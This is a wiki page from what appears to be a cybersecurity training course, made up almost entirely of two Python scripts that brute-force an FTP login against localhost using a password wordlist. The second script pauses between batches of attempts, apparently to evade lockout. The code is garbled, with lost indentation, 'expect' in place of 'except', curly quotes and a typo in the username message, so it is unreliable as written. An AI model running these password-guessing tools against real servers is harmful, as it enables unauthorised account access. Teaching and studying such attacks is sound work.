dardan:cyberacademy:python:fftp_py
import socket
import sys

for i in open(sys.argv[1], "r"):

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1",21))
data = s.recv(1024)
s.send("USER test\r\n")
data = s.recv(1024)
s.send("PASS {}\r\n".format(i.rstrip()))
data = s.recv(1024)
if "230" in data:
	print "Password  is {}".format(i.rstrip())
	break
import ftplib
import time

ftp = ftplib.FTP("127.0.0.1")
c = 0

for passw in open("pwd.txt", “r”):
    pwd = passw.rstrip()
    if c <= 3:
         try:
            ftp.login("test", str(pwd))
            print “Password for user tesi is {}”.format(pwd)
        expect:
            pass
     else:
        time.sleep(5)
        try:
           ftp.login("test", str(pwd))
           print “Password for user tesi is {}”.format(pwd)
        expect:
           pass
         c = 0
    c = c +1
dardan/cyberacademy/python/fftp_py.txt · Last modified: 2018/09/17 19:47 by dardan

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki